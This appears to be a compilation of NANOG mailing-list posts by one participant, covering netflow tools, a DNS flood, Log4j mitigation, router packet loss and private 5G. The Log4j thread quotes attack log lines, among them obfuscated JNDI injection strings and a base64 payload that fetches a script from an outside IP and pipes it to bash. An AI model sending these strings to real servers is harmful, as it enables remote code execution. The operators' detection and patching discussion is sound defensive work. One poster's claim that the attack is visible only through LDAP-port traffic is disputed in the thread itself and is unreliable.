RE: [EXTERNAL] Re: Flow collection and analysis

[Jean St-Laurent via NANOG]

Why DNS are still travelling in clear text?

The software running the DNS services worldwide are probably written in C or 
any languages you mentioned below.

Why don't they just strap a libressl on DNS or NanoSSL?

Okay, there is DNS over https. I don't know the stats, but I doubt it's close 
to 100% adoption worldwide.

I don't understand what is the issue about SSL, zero trust has anything to do 
about collecting flows. Do I need ssl to run shell commands in my terminal to 
read flows? Not really. Do I need to strap ssl on grep, notepad and excel? I'm 
not sure how could one do that.

When you see the flows of your customers, you have access to how many times did 
they use Netflix, facebook and anything you could think of because these people 
are querying DNS to reach these... in clear text. They are also hitting servers 
that are well known.

I would worry more about who is reading the flows of my business' customers 
than these flows being  not protected by SSL. They are anyway in a highly 
secure environment with zero trust.

So if you don't like elastiflow or any software that are not being protected by 
SSL, then maybe switch off your computer. Protonmail won't help you to keep 
your digital life secure.

This email was sent by a secure infrastructure using TLS 1.2 and clear text dns.

Thank you

Jean

-Original Message-
From: NANOG  On Behalf Of Laura Smith 
via NANOG
Sent: January 28, 2022 5:15 AM
To: Mel Beckman 
Cc: nanog@nanog.org list 
Subject: Re: [EXTERNAL] Re: Flow collection and analysis

‐‐‐ Original Message ‐‐‐

On Friday, January 28th, 2022 at 03:55, Mel Beckman  wrote:

> But nobody asked for anything from scratch Eric. Open SSL is it complete 
> ready to integrate package. Any developer worth his salt should be able to 
> put it on any web application. In addition to OpenSSL, there are very compact 
> commercial SSL libraries such as Mocana NanoSSL and wolfSSL, if you want to 
> really simplify the process.
>

Yup. Every single modern programming language out there has a crypto library.

The high-level languages (e.g. Go) have crypto built into the standard library.

The low-level languages (e.g C or Rust) all have at least one or more well 
supported third party crypto libraries (e.g. for C there's OpenSSL, GnuTLS, 
LibreSSL, Boring SSL, Mbed TLS ... and those are the ones that I can think of 
off the top of my head).

There's no need to do any crypto "from scratch", and indeed you SHOULD NOT.

RE: Flow collection and analysis

[Jean St-Laurent via NANOG]

I agree with you.

 

The tool doesn’t really matter. Windows, linux, cloud or not.

 

It’s really important to first understand what are you trying to solve or 
improve?

 

If this step is forgotten, then it will just be another tool to support to add 
in your long list of useless tools.

 

My personal favorites are a mix of:

 

*   Ntop with PF_RING enabled.
*   Nfdump
*   Elasticsearch 

 

I’m sure all the other tools are also very good. Csv in excel or grep/awk could 
also work if you know exactly what you’re looking for. 😉

 

Jean

 

 

From: NANOG  On Behalf Of Christopher 
Morrow
Sent: January 25, 2022 12:38 PM
To: David Bass 
Cc:  
Subject: Re: Flow collection and analysis

 

 

 

On Tue, Jan 25, 2022 at 10:53 AM David Bass mailto:davidbass...@gmail.com> > wrote:

Wondering what others in the small to medium sized networks out there are using 
these days for netflow data collection, and your opinion on the tool?

 

a question not asked, and answer not provided here, is:
  "What are you actually trying to do with the netflow?"

 

Answers of the form:
  "Dos detection and mitigation planning"
  "Discover peering options/opportunities"
  "billing customers"

  "traffic analysis for future network planning"

  "abuse monitoring/management/investigations"

  "pretty noc graphs"

 

are helpful.. I'm sure other answers would as well.. but: "how do you collect?" 
is "with a collector" and isn't super helpful if the collector can't feed into 
the tooling / infrastructure / long-term goal you have.

RE: Cloudflare Abuse Contact

[Jean St-Laurent via NANOG]

Cloudlfare might be able to help, but dns flood might be spoofed.

It's possible that Cloudflare is not the one sending you that junk.

Is it UDP DNS flood or it's some kind of DNS of TCP/Https?

Jean


> On 1/7/2022 11:06 AM, Mike Hale wrote:
the issue we're seeing (a massive DNS flood).

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

Indeed, it is extremely used.

 

This new threat seems to behave like a worm. What was the last worm-like virus?

 

I recall sql slammer or something like that in early 2000. 

 

Was there any other very popular worm between 2003 and now?

 

Thanks
Jean

 

From: NANOG  On Behalf Of Alain Hebert
Sent: December 13, 2021 3:01 PM
To: nanog@nanog.org
Subject: Re: Log4j mitigation

 

Well,

In my experience, it is a really widely used library.  It has been pretty 
much the de-facto standard for logging for a long while.


IMHO

So anything Java (and exposed obviously) need a review...


Best Practices

As a standard we always tent to push our customers to more light-weight 
logging library with less magic.


PS: And it is not the first time Log4j ended causing headaches...  For those 
wondering.  I remember back in 2017 when everyone was angrily saying they'll 
change for something else...

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=log4j




-
Alain Hebertaheb...@pubnix.net 

PubNIX Inc.
50 boul. St-Charles
P.O. Box 26770 Beaconsfield, Quebec H9W 6G7
Tel: 514-990-5911  http://www.pubnix.netFax: 514-990-9443

On 12/13/21 14:24, Owen DeLong via NANOG wrote:

The bigger problem seems to be the ever growing list of products you may be 
using which depend on it potentially without your knowledge.
 
Owen
 
 

On Dec 11, 2021, at 03:41 , Jared Mauch   
 wrote:
 
This is largely a patching exercise for people that use the software. If you 
use it, please patch. 
 
Sent via RFC1925 complaint device
 

On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth   
 wrote:
 
The intricacies of Java are over my head, but I’ve been reading about this 
Log4j issue that sounds pretty bad.
 
What do we know about this? What, if anything, can a network operator do to 
help mitigate this? Or even an end user?
 

Andy Ringsmuth
5609 Harding Drive
Lincoln, NE 68521-5831
(402) 304-0083
a...@andyring.com  

 

 

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

I agree,

As an example that back what you're saying, I pasted the ip provided by Jörg in 
my browser.

http://45.83.64.1/

Here is the html page returned.


...
Research Scanning Project

This is a scanner of a research scanning project.

If you want to exclude your IPs from scans, please send an e-mail to 
excl...@alphastrike.io.

Thank you for your appreciation!
...


This ip scanner is in Germany and it looks legit, but a better investigation is 
recommended.

The second host provided looks more suspicious.

blah.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com resolve to
104.248.51.21 which is hosted on DigitalOcean.

Here is the html output:


...
Interactsh Server
Interactsh is an open-source solution for out-of-band data extraction. It is a 
tool designed to detect bugs that cause external interactions. These bugs 
include, Blind SQLi, Blind CMDi, SSRF, etc.

If you find communications or exchanges with the interactsh.com server in your 
logs, it is possible that someone has been testing your applications.

You should review the time when these interactions were initiated to identify 
the person responsible for this testing.

...


First, it's important to gain visibility and filter the goods from the bads.

The first ip looks legit. The second could be reported to DigitalOcean for 
investigation. They usually investigate very fast.

You can check for weird network flows patterns. You can also look for that 
suspicious html file that is crawling on http in clear text on your gears.

At ISP level, visibility is a must and patterns will clearly become easy to 
identify.

I agree with Karl that perfection is enemy of good.

Jean

-Original Message-
From: NANOG  On Behalf Of Karl Auer
Sent: December 13, 2021 7:55 AM
To: NANOG List 
Subject: Re: Log4j mitigation

On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:
> Just because there are other sources of fatalities, doesn't mean you 
> can't check for the quick obvious stuff.

Indeed.

One check, even an inadequate one, is better than no checks at all. And over 
time you can add more checks or improve the ones you have.

Don't let "perfect" be the enemy of "good".

Regards, K.


--
~~~
Karl Auer (ka...@biplane.com.au)
http://www.biplane.com.au/kauer

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old 
fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

This should translate in a query from your infected server toward an infected 
server controlled by a malicious hacker on port 389.

x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}

Right?

Jean

-Original Message-
From: Jörg Kost  
Sent: December 13, 2021 6:40 AM
To: Jean St-Laurent 
Cc: Saku Ytti ; nanog@nanog.org
Subject: Re: Log4j mitigation

You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), in 
Headers, in anything related to where a Java process does logging with Log4j; 
it's innumerable. It might even evaluate from a URI itself; it won't use a 
fixed port. It's not wormy right now, but maybe it will soon.

We are seeing things like this since 10th of Dec. And this is only a typical 
Apache Logfile for HTTP/HTTPS, where we do logging:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 
"${jndi:dns://45.83.64.1/securityscan-http80}" 
"${jndi:dns://45.83.64.1/securityscan-http80}
GET
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}
HTTP/1.1" 200 -
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}"
 
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

What your netflows, pflow, whatever logging system you have show on port 389, 
636 in the last 4 days?

If you reply nothing... I will admit my mistake here publicly. I will be happy 
to be wrong in your face.

Jean

-Original Message-
From: Saku Ytti  
Sent: December 13, 2021 6:33 AM
To: Jean St-Laurent 
Cc: Jörg Kost ; nanog@nanog.org
Subject: Re: Log4j mitigation

On Mon, 13 Dec 2021 at 13:31, Jean St-Laurent  wrote:

> It's possible to see it live crawling in your network. Why let something 
> harmful continue to crawl and spread?

My apologies, I missed this part. How?

-- 
  ++ytti

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

In these situation it's time to unite with the server admins and not let them 
figure out all the patching. 

It's possible to see it live crawling in your network. Why let something 
harmful continue to crawl and spread?

Jean

-Original Message-
From: Saku Ytti  
Sent: December 13, 2021 6:26 AM
To: Jean St-Laurent 
Cc: Jörg Kost ; nanog@nanog.org
Subject: Re: Log4j mitigation

I don't think the implication made that solution space contains only Snake Oil 
and panic. There is also an alternative to update the log4j package, which 
deserves review before deciding between snake oil and panic.

On Mon, 13 Dec 2021 at 13:14, Jean St-Laurent via NANOG  wrote:
>
> You are right, but it's still a good place to start looking.
>
> What do you recommend? Panic?
>
> It won't help you.
>
> Jean
>
> -Original Message-
> From: Jörg Kost 
> Sent: December 13, 2021 6:01 AM
> To: Jean St-Laurent 
> Cc: Nick Hilliard ; Andy Ringsmuth 
> ; nanog@nanog.org
> Subject: Re: Log4j mitigation
>
> It's not true.
> It can pull from other ports, URLs, make DNS calls, and seems to evaluate 
> even from environment variables.
> It's a "virtual machine".
>
> On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:
>
> > Well if you look to the right you won't see it, but if you look to 
> > the left you will see it.
> >
> > Meaning, that for a successful attack to work, the infected host 
> > needs to first download a payload from ldap.
> >
> > And ldap runs on port 389/636.
> >
> > You probably can't see the log4j vulnerability in the https, but you 
> > should be able to see your servers querying weird stuff on internet 
> > on port 389/636.
> >
> > Just don't allow your important hosts to fetch payload on internet 
> > on port 389/636.
> >
> > Et voila! Look to the left, not to the right.
> >
> > Jean
> >
>


--
  ++ytti

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

You are right, but it's still a good place to start looking.

What do you recommend? Panic?

It won't help you.

Jean

-Original Message-
From: Jörg Kost  
Sent: December 13, 2021 6:01 AM
To: Jean St-Laurent 
Cc: Nick Hilliard ; Andy Ringsmuth ; 
nanog@nanog.org
Subject: Re: Log4j mitigation

It's not true.
It can pull from other ports, URLs, make DNS calls, and seems to evaluate even 
from environment variables.
It's a "virtual machine".

On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:

> Well if you look to the right you won't see it, but if you look to the 
> left you will see it.
>
> Meaning, that for a successful attack to work, the infected host needs 
> to first download a payload from ldap.
>
> And ldap runs on port 389/636.
>
> You probably can't see the log4j vulnerability in the https, but you 
> should be able to see your servers querying weird stuff on internet on 
> port 389/636.
>
> Just don't allow your important hosts to fetch payload on internet on 
> port 389/636.
>
> Et voila! Look to the left, not to the right.
>
> Jean
>

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

Well if you look to the right you won't see it, but if you look to the left you 
will see it.

Meaning, that for a successful attack to work, the infected host needs to first 
download a payload from ldap.

And ldap runs on port 389/636. 

You probably can't see the log4j vulnerability in the https, but you should be 
able to see your servers querying weird stuff on internet on port 389/636. 

Just don't allow your important hosts to fetch payload on internet on port 
389/636.

Et voila! Look to the left, not to the right.

Jean

-Original Message-
From: NANOG  On Behalf Of Nick 
Hilliard
Sent: December 11, 2021 7:12 AM
To: Andy Ringsmuth 
Cc: nanog@nanog.org
Subject: Re: Log4j mitigation

Andy Ringsmuth wrote on 11/12/2021 03:54:
> The intricacies of Java are over my head, but I’ve been reading about this 
> Log4j issue that sounds pretty bad.
> 
> What do we know about this? What, if anything, can a network operator do to 
> help mitigate this? Or even an end user?

The payload can be contained in https, so there is no way of detecting / 
stopping this at the network level.  Installations need to be upgraded / fixed.

https://logging.apache.org/log4j/2.x/security.html

1. upgrade log4j to 2.15.0 and restart all java apps 2. start java with "-D 
log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with 
"LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only) 4. zip -q 
-d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There's a lot of scanning going on at the moment, so if you have an exposed 
java instance running something which includes log4j2, you may already be 
compromised.

Nick

RE: Latency/Packet Loss on ASR1006

[Jean St-Laurent via NANOG]

If you still need netflow to gain some visibility on what’s happening, you 
could check the percentage of netflow export. 

 

Usually 1/1000 is good or 0.1%. Maybe for you 1/1 000 000  could be good enough 
too.

 

If 100% was used, then indeed there are some real time performance penalties. 
Not much people need an accurate 100% of netflow exports. If you need 100% 
accuracy, then you need dedicated hardware.

 

0% or totally disabled is also often very good enough if you don’t need 
visibility. 😊

 

Netflow is useful in my opinion, but maybe not for every case.

 

Jean

 

From: NANOG  On Behalf Of Colin 
Legendre
Sent: December 9, 2021 7:18 PM
To: Brian Turnbow 
Cc: nanog 
Subject: Re: Latency/Packet Loss on ASR1006

 

NBAR was not enabled.. just netflow export.. and that was enough..


 

---
Colin Legendre
President and CTO

Coextro - Unlimited. Fast. Reliable.
w: www.coextro.com  
e: clegen...@coextro.com  

p: 647-693-7686 ext.101
m: 416-560-8502
f: 647-812-4132

 

 

On Thu, Dec 9, 2021 at 7:17 PM Colin Legendre mailto:clegen...@coextro.com> > wrote:

Thanks for this.. turned off netflow export.. and it dropped our qfp load from 
44% to 18%.  ugh..


 

---
Colin Legendre

 

 

On Thu, Dec 9, 2021 at 4:22 AM Brian Turnbow via NANOG mailto:nanog@nanog.org> > wrote:



> On 11/26/2021 1:09 PM, Colin Legendre wrote:
> > Hi,
> >
> > We have ...
> >
> > ASR1006  that has following cards...
> > 1 x ESP40
> > 1 x SIP40
> > 4 x SPA-1x10GE-L-V2
> > 1 x 6TGE
> > 1 x RP2
> >
> > We've been having latency and packet loss during peak periods...
> >
> > We notice all is good until we reach 50% utilization on output of...
> >
> > 'show platform hardware qfp active datapath utilization summary'
> >
> > Literally ... 47% good... 48% good... 49% latency to next hop goes
> > from 1ms to 15-20ms... 50% we see 1-2% packet-loss and 30-40ms
> > latency... 53% we see 60-70ms latency and 8-10% packet loss.
> >
> > Is this expected... the ESP40 can only really push 20G and then starts
> > to have performance issues?
> >

He had a similar issue about 4 years ago.
We were showing packet loss and drops getting progressively worse and the 
router was falling over when reaching about 70% of usage.
We could see the interface reliability go down and input errors due to overruns 
on the interfaces.
Cisco blamed it on microburtst not being able to be handled under load.


"We were able to replicate this scenario in our lab as well.
QFP under high load generated input errors and overruns which in turn led to 
unicast failures/ drops/ latency.
The issue is not consistent with QFP % utilization as sometimes with even 80%+ 
traffic, we  do not see the drops:"

And recommended removing traffic or upgrading esp.

One of our guys disabled nbar on the router and the problem disappeared.
I would suggest taking a look at what features you are using and if you can try 
and disable them to see if it makes any impact.
We then upgraded esps and all has been fine since.

Brian

RE: Anyone else seeing DNSSEC failures from EU Commission ? (european-union.europa.eu)

[Jean St-Laurent via NANOG]

I understand now and I agree with you that there’s something fishy there.

 

Fear sells.

 

Thanks

Jean

 

From: Ca By  
Sent: December 9, 2021 10:47 AM
To: Jean St-Laurent 
Cc: Arne Jensen ; nanog@nanog.org
Subject: Re: Anyone else seeing DNSSEC failures from EU Commission ? 
(european-union.europa.eu)

 

 

 

On Thu, Dec 9, 2021 at 7:15 AM Jean St-Laurent mailto:j...@ddostest.me> > wrote:

What is a ddos death spiral?

 

A closed circle economy where the vendor provides both the problem and the 
solution

 

https://krebsonsecurity.com/2020/01/ddos-mitigation-firm-founder-admits-to-ddos/

 

That is just one example. 

 

There are many large companies that could do a lot to make things more secure, 
but it is more profitable for them when things are a bit broken and they can 
charge more for a solution

 

RE: Anyone else seeing DNSSEC failures from EU Commission ? (european-union.europa.eu)

[Jean St-Laurent via NANOG]

What is a ddos death spiral?

 

Jean

 

From: NANOG  On Behalf Of Ca By
Sent: December 9, 2021 9:36 AM
To: Arne Jensen 
Cc: nanog@nanog.org
Subject: Re: Anyone else seeing DNSSEC failures from EU Commission ? 
(european-union.europa.eu)

 

and you feeding the vendor / hacker ddos death spiral

RE: private 5G networks?

[Jean St-Laurent via NANOG]

I thought 5G here meant Fifth Generation of mobile network and not 5 Ghz wifi. 
I don’t need a sim card to use wifi on 5 Ghz.

 

Is the private 5G network advertised by Amazon a kind of? 

 

Put a sim card in that phone and use our 5th Gen mobile gears. This way you can 
use your private phone numbers in your private system and send emoji, texts, 
pictures and even use your phone as a phone to call other people in that 
private 5G network.

 

Is this new thing just about having a private 5 Ghz wifi or it’s about using 
phones in 5th Gen mobile communications through Amazon gears?

Thank you in advance for your time and patience

 

Jean

 

From: Tom Beecher  
Sent: December 6, 2021 3:04 PM
To: Jean St-Laurent 
Cc: Mark Tinka ; NANOG 
Subject: Re: private 5G networks?

 

To come back on Private 5G networks. Can a private 5G network protect against 
spyware like Pegazus?

 

No disrespect intended here, but you are essentially asking if going from 
2.4GHz Wifi to 5GHz wifi will make things more secure.  I'm sure you know the 
answer to that. 

 

Private 5G is just a method for local spectrum allocation that does not require 
a full FCC license. That's it. 

 

On Mon, Dec 6, 2021 at 12:37 PM Jean St-Laurent via NANOG mailto:nanog@nanog.org> > wrote:

You're absolutely right and I agree with your line of thought.

Strangely, there is apparently a lawsuit of $150B against Meta for for 
facilitating Rohingya Genocide . I am not sure how valid it is and where it 
will go, but $150B is quite something. 

It looks like the price a country has to pay after a war.

These cloud providers failed to not polarize the debate. They interfere in the 
process and it's illegal nearly everywhere except online for the cloud 
providers.

It's like if you telco would give faster speed to inflammatory tweets and 
slowed down the tweets that don't generate fud. 

Telco are at the moment in a much better position than cloud providers in my 
opinion. The train started to anticipate the curve and it's already changing 
direction.

To come back on Private 5G networks. Can a private 5G network protect against 
spyware like Pegazus?

Jean

-Original Message-
From: Mark Tinka mailto:mark@tinka.africa> > 
Sent: December 6, 2021 10:02 AM
To: Jean St-Laurent mailto:j...@ddostest.me> >; 
nanog@nanog.org <mailto:nanog@nanog.org> 
Subject: Re: private 5G networks?



On 12/6/21 15:56, Jean St-Laurent wrote:

> I vouch for fairness.
>
> It seems there might be a shift in how we consume services around the world. 
> It's like a train. You can't turn 90 degrees. You need to start a smooth 
> curve many miles ahead if you want your train to turn and reach the 
> destination.
>
> How leaders govern will be more important. The decisions they make today and 
> the partners they choose will set the direction for this train.

The problem with this approach is that it assumes industrial-revolution 
business practices where corporations set the standard, and customers follow.

This does not work anymore in the modern world, because what the content folk 
have done is create platforms where users set the the standard, and 
corporations follow.

In the old days, if a service didn't work, we complained, sued, cried, the lot, 
and took it on the chin. Nowadays, if a service doesn't work, you silently 
delete the app, and move on to someone else.

But corporations don't get good (read: negative) feedback, because they are too 
busy building and selling products, rather than build and selling experiences, 
like the content folk do. Because they are blind to this feedback, they don't 
see the churn that is happening (after all, it's like a slow tyre leak), as 
users quietly migrate for a better experience, and not a better product. 5 
years later, they wonder how they lost 50% of their customer base. I'm already 
seeing it with a number of traditional banks, here in Africa.

Gartner (another typical corporation) just shared this the other day:

 https://ibb.co/c8PFRyQ

... and as you can clearly see, the "customer" experience is not top of their 
agenda for the typical CEO, for the coming year. Instead, it's a bunch of other 
things that make zero sense. How do you grow if you don't look after customers?

Users have moved on so fast due the ascension of the base expectation of value, 
companies that are willing to consider that the best they can do is create an 
experience that improves the likelihood of a user giving them a chance - rather 
than forcing a product sale on customers with the intention of meeting the YoY 
target that was printed in the boardroom PPT slides - will be the ones that 
have a chance to not only survive, but actually flourish.

If Amazon can democratize the mobile network by providing a cloud-based EPC, we 
might never have to be subjected to the unimaginative services we p

RE: private 5G networks?

[Jean St-Laurent via NANOG]

I thought it would have been possible to tap some firewalls at 5G level to 
inspect what comes in/out. Suspicious traffic toward known C&C would be 
investigated.

 

I have no clue how Pegasus or 5G works. 

 

Thanks for the info

 

Jean

 

From: Tom Beecher  
Sent: December 6, 2021 3:04 PM
To: Jean St-Laurent 
Cc: Mark Tinka ; NANOG 
Subject: Re: private 5G networks?

 

To come back on Private 5G networks. Can a private 5G network protect against 
spyware like Pegazus?

 

No disrespect intended here, but you are essentially asking if going from 
2.4GHz Wifi to 5GHz wifi will make things more secure.  I'm sure you know the 
answer to that. 

 

Private 5G is just a method for local spectrum allocation that does not require 
a full FCC license. That's it. 

 

On Mon, Dec 6, 2021 at 12:37 PM Jean St-Laurent via NANOG mailto:nanog@nanog.org> > wrote:

You're absolutely right and I agree with your line of thought.

Strangely, there is apparently a lawsuit of $150B against Meta for for 
facilitating Rohingya Genocide . I am not sure how valid it is and where it 
will go, but $150B is quite something. 

It looks like the price a country has to pay after a war.

These cloud providers failed to not polarize the debate. They interfere in the 
process and it's illegal nearly everywhere except online for the cloud 
providers.

It's like if you telco would give faster speed to inflammatory tweets and 
slowed down the tweets that don't generate fud. 

Telco are at the moment in a much better position than cloud providers in my 
opinion. The train started to anticipate the curve and it's already changing 
direction.

To come back on Private 5G networks. Can a private 5G network protect against 
spyware like Pegazus?

Jean

-Original Message-
From: Mark Tinka mailto:mark@tinka.africa> > 
Sent: December 6, 2021 10:02 AM
To: Jean St-Laurent mailto:j...@ddostest.me> >; 
nanog@nanog.org <mailto:nanog@nanog.org> 
Subject: Re: private 5G networks?



On 12/6/21 15:56, Jean St-Laurent wrote:

> I vouch for fairness.
>
> It seems there might be a shift in how we consume services around the world. 
> It's like a train. You can't turn 90 degrees. You need to start a smooth 
> curve many miles ahead if you want your train to turn and reach the 
> destination.
>
> How leaders govern will be more important. The decisions they make today and 
> the partners they choose will set the direction for this train.

The problem with this approach is that it assumes industrial-revolution 
business practices where corporations set the standard, and customers follow.

This does not work anymore in the modern world, because what the content folk 
have done is create platforms where users set the the standard, and 
corporations follow.

In the old days, if a service didn't work, we complained, sued, cried, the lot, 
and took it on the chin. Nowadays, if a service doesn't work, you silently 
delete the app, and move on to someone else.

But corporations don't get good (read: negative) feedback, because they are too 
busy building and selling products, rather than build and selling experiences, 
like the content folk do. Because they are blind to this feedback, they don't 
see the churn that is happening (after all, it's like a slow tyre leak), as 
users quietly migrate for a better experience, and not a better product. 5 
years later, they wonder how they lost 50% of their customer base. I'm already 
seeing it with a number of traditional banks, here in Africa.

Gartner (another typical corporation) just shared this the other day:

 https://ibb.co/c8PFRyQ

... and as you can clearly see, the "customer" experience is not top of their 
agenda for the typical CEO, for the coming year. Instead, it's a bunch of other 
things that make zero sense. How do you grow if you don't look after customers?

Users have moved on so fast due the ascension of the base expectation of value, 
companies that are willing to consider that the best they can do is create an 
experience that improves the likelihood of a user giving them a chance - rather 
than forcing a product sale on customers with the intention of meeting the YoY 
target that was printed in the boardroom PPT slides - will be the ones that 
have a chance to not only survive, but actually flourish.

If Amazon can democratize the mobile network by providing a cloud-based EPC, we 
might never have to be subjected to the unimaginative services we pay lots of 
money for, to typical mobile operators. I mean, if there is anyone with the 
time, money, people, data and network, it's surely Amazon, as well as the peers 
in their group.


> Maybe cloud boys and girls are also about to get a fair shake.

What the cloud and content folk have perfected is the art of being unsatisfied 
with the current customer experience. Their continued search 

RE: private 5G networks?

[Jean St-Laurent via NANOG]

You're absolutely right and I agree with your line of thought.

Strangely, there is apparently a lawsuit of $150B against Meta for for 
facilitating Rohingya Genocide . I am not sure how valid it is and where it 
will go, but $150B is quite something. 

It looks like the price a country has to pay after a war.

These cloud providers failed to not polarize the debate. They interfere in the 
process and it's illegal nearly everywhere except online for the cloud 
providers.

It's like if you telco would give faster speed to inflammatory tweets and 
slowed down the tweets that don't generate fud. 

Telco are at the moment in a much better position than cloud providers in my 
opinion. The train started to anticipate the curve and it's already changing 
direction.

To come back on Private 5G networks. Can a private 5G network protect against 
spyware like Pegazus?

Jean

-Original Message-
From: Mark Tinka  
Sent: December 6, 2021 10:02 AM
To: Jean St-Laurent ; nanog@nanog.org
Subject: Re: private 5G networks?



On 12/6/21 15:56, Jean St-Laurent wrote:

> I vouch for fairness.
>
> It seems there might be a shift in how we consume services around the world. 
> It's like a train. You can't turn 90 degrees. You need to start a smooth 
> curve many miles ahead if you want your train to turn and reach the 
> destination.
>
> How leaders govern will be more important. The decisions they make today and 
> the partners they choose will set the direction for this train.

The problem with this approach is that it assumes industrial-revolution 
business practices where corporations set the standard, and customers follow.

This does not work anymore in the modern world, because what the content folk 
have done is create platforms where users set the the standard, and 
corporations follow.

In the old days, if a service didn't work, we complained, sued, cried, the lot, 
and took it on the chin. Nowadays, if a service doesn't work, you silently 
delete the app, and move on to someone else.

But corporations don't get good (read: negative) feedback, because they are too 
busy building and selling products, rather than build and selling experiences, 
like the content folk do. Because they are blind to this feedback, they don't 
see the churn that is happening (after all, it's like a slow tyre leak), as 
users quietly migrate for a better experience, and not a better product. 5 
years later, they wonder how they lost 50% of their customer base. I'm already 
seeing it with a number of traditional banks, here in Africa.

Gartner (another typical corporation) just shared this the other day:

 https://ibb.co/c8PFRyQ

... and as you can clearly see, the "customer" experience is not top of their 
agenda for the typical CEO, for the coming year. Instead, it's a bunch of other 
things that make zero sense. How do you grow if you don't look after customers?

Users have moved on so fast due the ascension of the base expectation of value, 
companies that are willing to consider that the best they can do is create an 
experience that improves the likelihood of a user giving them a chance - rather 
than forcing a product sale on customers with the intention of meeting the YoY 
target that was printed in the boardroom PPT slides - will be the ones that 
have a chance to not only survive, but actually flourish.

If Amazon can democratize the mobile network by providing a cloud-based EPC, we 
might never have to be subjected to the unimaginative services we pay lots of 
money for, to typical mobile operators. I mean, if there is anyone with the 
time, money, people, data and network, it's surely Amazon, as well as the peers 
in their group.


> Maybe cloud boys and girls are also about to get a fair shake.

What the cloud and content folk have perfected is the art of being unsatisfied 
with the current customer experience. Their continued search for how they can 
make just one thing about their service better and more pleasurable to use, is 
what keeps them in favour with the user. For as long as they can maintain that 
ethos, they will be setting the rules.

It does help that they also play well together, so they don't have out-compete 
each other for business like we, in the telco world, continuously do... much to 
our collective detriment.

Mark.

RE: private 5G networks?

[Jean St-Laurent via NANOG]

I vouch for fairness. 

It seems there might be a shift in how we consume services around the world. 
It's like a train. You can't turn 90 degrees. You need to start a smooth curve 
many miles ahead if you want your train to turn and reach the destination.

How leaders govern will be more important. The decisions they make today and 
the partners they choose will set the direction for this train.

Maybe cloud boys and girls are also about to get a fair shake.

Be patient

Jean

-Original Message-
From: Mark Tinka  
Sent: December 6, 2021 8:23 AM
To: Jean St-Laurent ; nanog@nanog.org
Subject: Re: private 5G networks?



On 12/6/21 15:10, Jean St-Laurent wrote:

> Probably not. There seem to be a new portfolio starting.
>
> Your telco could probably have a special product for business/enterprises 
> which need private 5G without all the learning of technical stuff.

If Amazon went from selling books to being the biggest cloud provider, they are 
certainly showing that with enough software developers, white boxes, and a bit 
of network, you can virtualize an EPC that makes the telco close to irrelevant, 
in a few years.

More pressure on Nokia, Huawei, Ericsson, and friends.


> Telco have strong expertise and reliable systems IMO, just not moving very 
> fast to new products.

Hehe - and yet the cloud boys and girls are the largest submarine cable 
builders and operators, nowadays.

Funny that, eh...

Mark.

RE: private 5G networks?

[Jean St-Laurent via NANOG]

Probably not. There seem to be a new portfolio starting.

Your telco could probably have a special product for business/enterprises which 
need private 5G without all the learning of technical stuff. 

Telco have strong expertise and reliable systems IMO, just not moving very fast 
to new products. 

While at it, make sure you tell your CFO that you want it on IPv6. 😊

Jean

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: December 6, 2021 7:46 AM
To: nanog@nanog.org
Subject: Re: private 5G networks?



On 12/4/21 16:52, Jean St-Laurent via NANOG wrote:

> Maybe the main argument is: run a Pegasus free 5g/lte network.
>
> Mr. Besos was hack by that and it's probably a technical way to start 
> protecting customers against that kind of sophisticated spywares that 
> spread in the normal mobile network.
>
> I might be wrong and probably Pegasus can still perfectly run in a 
> private 5G network?

The way I see it, one more push of the hammer into the telco death nail.

Mark.

RE: private 5G networks?

[Jean St-Laurent via NANOG]

Maybe the main argument is: run a Pegasus free 5g/lte network.

Mr. Besos was hack by that and it's probably a technical way to start
protecting customers against that kind of sophisticated spywares that spread
in the normal mobile network.

I might be wrong and probably Pegasus can still perfectly run in a private
5G network?

Jean

RE: IPv6 and CDN's

[Jean St-Laurent via NANOG]

I remember when I was a junior in a major NOC, we had this management host with 
a local hosts file for all critical components. 

 

Probably worth reviewing some old school techniques. 😉

 

If you can automate your gazillion routers business, you probably can also 
automate a couple of hosts file.

 

Jean

 

From: NANOG  On Behalf Of Baldur 
Norddahl
Sent: November 29, 2021 4:22 AM
To: NANOG 
Subject: Re: IPv6 and CDN's

 

 

man. 29. nov. 2021 02.12 skrev Masataka Ohta mailto:mo...@necom830.hpcl.titech.ac.jp> >:



> The only way to truly reduce Opex at scale is automation.

Automation by what? DNS?

Masataka Ohta

 

 

